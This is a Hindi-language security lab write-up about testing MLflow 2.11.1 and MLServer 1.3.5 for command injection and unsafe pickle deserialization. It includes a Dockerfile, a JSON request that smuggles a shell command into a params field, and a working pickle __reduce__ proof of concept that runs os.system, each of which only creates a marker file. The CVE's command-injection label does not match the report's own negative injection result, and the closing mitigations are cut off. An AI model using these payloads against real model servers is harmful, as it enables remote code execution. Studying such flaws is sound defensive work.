
MLflow और MLServer में डिसीरियलाइज़ेशन व्यवहारों का मूल्यांकन करने के लिए शोध वातावरण और सत्यापन स्क्रिप्ट्स।
mlflow==2.11.1 और mlserver==1.3.5 के भीतर अविश्वसनीय मॉडल लोडिंग पाइपलाइनों से संबंधित सत्यापन, अंतर्निहित तंत्र और आर्किटेक्चरल कमजोरियों का विस्तृत सुरक्षा अनुसंधान रिपोर्ट।
| मीट्रिक | विवरण |
|---|---|
| भेद्यता आईडी | CVE-2026-0596 / GHSA-rvhj-8chj-8v3c |
| सामान्य कमजोरी गणना | CWE-78: OS कमांड इंजेक्शन में विशेष तत्वों का अनुचित न्यूट्रलाइज़ेशन ('OS कमांड इंजेक्शन') |
| CVSS v3.1 बेस स्कोर | 9.6 क्रिटिकल (CNA: huntr.dev) / 7.8 हाई (NVD) |
| प्रभाव वेक्टर | नेटवर्क आसन्न, निम्न जटिलता, कोई विशेषाधिकार आवश्यक नहीं, कोई उपयोगकर्ता इंटरैक्शन नहीं |
| प्रभावित पारिस्थितिकी तंत्र | mlflow/mlflow (सभी लीगेसी आर्किटेक्चर जो enable_mlserver=True के माध्यम से सेवा प्रदान करते हैं) |
MLflow में उच्च-प्रदर्शन, एंटरप्राइज़-ग्रेड मॉडल सेवा के लिए Seldon के MLServer के साथ एक एकीकरण है। कमांड-लाइन इंटरफ़ेस या ट्रैकिंग सर्वर API के माध्यम से मॉडल सर्वर शुरू करते समय, डेवलपर्स कॉन्फ़िगरेशन पैरामीटर फ़्लैग का उपयोग करते हैं:
enable_mlserver = True
## 📋 कार्यकारी सारांश
यह प्रयोगशाला वातावरण मशीन लर्निंग मॉडल-सर्विंग फ्रेमवर्क के रनटाइम व्यवहार का मूल्यांकन करता है जब उपयोगकर्ता-आपूर्ति किए गए इनपुट पैरामीटर और आर्टिफैक्ट मेटाडेटा को पार्स किया जाता है। जबकि MLServer के API-मुखी पैरामीटर पार्सिंग सीमाएं शेल मेटाकैरेक्टर के माध्यम से पारंपरिक ऑपरेटिंग सिस्टम कमांड इंजेक्शन को रोकने के लिए रॉ स्ट्रिंग लिटरल को साफ-साफ अलग करती हैं, अंतर्निहित पायथन रनटाइम लीगेसी सीरियलाइज़्ड ऑब्जेक्ट स्ट्रीम (`.pkl` / `pickle`) को अंतर्ग्रहण करते समय संरचनात्मक रूप से **असुरक्षित डीसीरियलाइज़ेशन** के लिए कमजोर रहता है।
* **भेद्यता प्रकार:** असुरक्षित डीसीरियलाइज़ेशन (CWE-502) / मनमाना कोड निष्पादन
* **प्रभाव:** क्रिटिकल (कंटेनर संदर्भ के भीतर दूरस्थ कोड निष्पादन)
* **प्रभावित घटक:** मॉडल अंतर्ग्रहण, आर्टिफैक्ट डाउनलोड उप-प्रणालियाँ, और `pickle`-आधारित भविष्यवाणी बैकएंड।
---
## 🛠️ प्रयोगशाला आर्किटेक्चर और सेटअप
पुनरुत्पादन वातावरण ऑपरेटिंग सिस्टम स्तर को अलग करने और उत्पादन-ग्रेड मशीन लर्निंग मॉडल एंडपॉइंट का अनुकरण करने के लिए Docker का उपयोग करके कंटेनरीकृत है।
### 1. Docker वातावरण कॉन्फ़िगरेशन (`Dockerfile`)
```dockerfile
FROM python:3.10-slim
WORKDIR /app
# देशी सिस्टम बाइनरी स्थापित करें
RUN apt-get update && apt-get install -y \
curl \
build-essential \
&& rm -rf /var/lib/apt/lists/*
# लक्ष्य ट्रैकिंग के लिए विशिष्ट फ्रेमवर्क संस्करण पिन करें
RUN pip install --no-cache-dir \
mlflow==2.11.1 \
mlserver==1.3.5 \
mlserver-mlflow==1.3.5
# स्थानीयकृत मॉडल कॉन्फ़िगरेशन फुटप्रिंट उत्पन्न करें
COPY generate_model.py /app/generate_model.py
RUN python /app/generate_model.py
EXPOSE 5000
generate_model.py)import mlflow
import mlflow.pyfunc
import os
class DummyModel(mlflow.pyfunc.PythonModel):
def predict(self, context, model_input):
return model_input
if __name__ == "__main__":
model_path = "/app/saved_model"
if not os.path.exists(model_path):
mlflow.pyfunc.save_model(path=model_path, python_model=DummyModel())
प्रारंभिक परीक्षण में /invocations REST एंडपॉइंट के params पेलोड सरणी के माध्यम से शेल टर्मिनेशन पेलोड अनुक्रम (; touch /tmp/poc_success_marker.txt #) पारित करने का प्रयास किया गया:
{
"dataframe_split": {
"columns": ["machine_input"],
"data": [["test_data"]]
},
"params": {
"custom_runtime_param": "default_runtime; touch /tmp/poc_success_marker.txt #"
}
}
परिणाम: नकारात्मक। फ्रेमवर्क ने पेलोड को सुरक्षित रूप से एक पूर्ण, गैर-मूल्यांकित स्ट्रिंग लिटरल के रूप में माना। यह पुष्टि करता है कि इंजन रॉ कमांड रैपर के माध्यम से गतिशील रूप से सिस्टम शेल तर्कों को संश्लेषित करने के बजाय इनपुट चर को सीधे पायथन मेमोरी स्पेस में अमूर्त करता है।
क्योंकि MLflow और MLServer संकलित पायथन ऑब्जेक्ट्स को अंतर्ग्रहण करते हैं, मुख्य जोखिम स्ट्रिंग मूल्यांकन से ऑब्जेक्ट ग्राफ पुनर्निर्माण की ओर स्थानांतरित हो जाता है। एक कस्टम सत्यापन स्क्रिप्ट का उपयोग करके, पायथन के देशी जादू अनुकूलन विधि (__reduce__) का उपयोग करके एक निष्पादन ट्रिगर सीधे एक अनुकरणीय मॉडल स्ट्रीम में एम्बेड किया गया था।
trigger_native.py)import os
import pickle
class ExploitModel:
def __reduce__(self):
# __reduce__ विधि ऑब्जेक्ट पुनर्निर्माण व्यवहार को परिभाषित करती है।
# os.system लौटाने से लोडिंग के दौरान तत्काल रनटाइम कमांड निष्पादन होता है।
return (os.system, ("touch /tmp/native_success_marker.txt",))
if __name__ == "__main__":
payload_path = "vulnerable_model.pkl"
# कोड निष्पादन पेलोड को छद्म-मॉडल फ़ाइल में सीरियलाइज़ करें
with open(payload_path, "wb") as f:
pickle.dump(ExploitModel(), f)
# एक एप्लिकेशन या मॉडल सर्वर के आर्टिफैक्ट को अनपिकल करने का अनुकरण करें
with open(payload_path, "rb") as f:
pickle.load(f)
स्क्रिप्ट को बैकएंड लोडिंग अनुक्रम की नकल करने के लिए कंटेनर सैंडबॉक्स वातावरण में इंजेक्ट किया गया था:
# सैंडबॉक्स के अंदर निष्पादन पेलोड स्टेज करें
docker cp trigger_native.py mlflow_sandbox:/app/trigger_native.py
# डीसीरियलाइज़ेशन रूटीन निष्पादित करें
docker exec -it mlflow_sandbox python /app/trigger_native.py
कंटेनर के पृथक अस्थायी निर्देशिका की क्वेरी करने से पुष्टि हुई कि ऑब्जेक्ट आवंटन लूप के दौरान मनमाना कोड निष्पादन तुरंत हुआ:
PS C:\Users\Sparsh Biswas\mlflow-security-lab> docker exec -it mlflow_sandbox ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 May 18 10:31 .
drwxr-xr-x 1 root root 4096 May 18 10:31 ..
-rw-r--r-- 1 root root 0 May 18 10:31 native_success_marker.txt
समस्या मॉडल आर्टिफैक्ट स्टोरेज परत में अंतर्निहित विश्वास से उत्पन्न होती है। मानक पायथन .pkl / pickle फ़ाइलें केवल फ्लैट कॉन्फ़िगरेशन रिकॉर्ड के रूप में कार्य नहीं करती हैं; उनमें नेस्टेड ऑब्जेक्ट गुणों को पुनर्निर्मित करने के लिए अनुक्रमिक बाइटकोड निर्देश होते हैं।
जब pickle.load() डेटासेट को पार्स करता है, तो यह __reduce__ हुक द्वारा दिए गए निर्देश स्ट्रीम को प्राथमिकता देता है। यह लक्ष्य एप्लिकेशन को डेटा प्रकार सत्यापन या मशीन लर्निंग अनुमान गणना शुरू होने से पहले सीधे शेल वातावरण में देशी सिस्टम बाइनरी (os.system) को कॉल करने के लिए पुनर्निर्देशित करता है।
सभी प्रशिक्षण और तैनाती पाइपलाइनों में लीगेसी सीरियलाइज़ेशन परतों (pickle, joblib, marshal) के उपयोग को हटा दें। उन्हें संरचनात्मक, केवल-डेटा बाधाओं से बदलें:
यदि आपकी पाइपलाइन को सख्ती से लीगेसी मॉडल कॉन्फ़िगरेशन की आवश्यकता है:
USER 10001)।cap_drop: [ALL]) और संवेदनशील मेटाडेटा एंडपॉइंट वाले नेटवर्क से पॉड को अलग करें।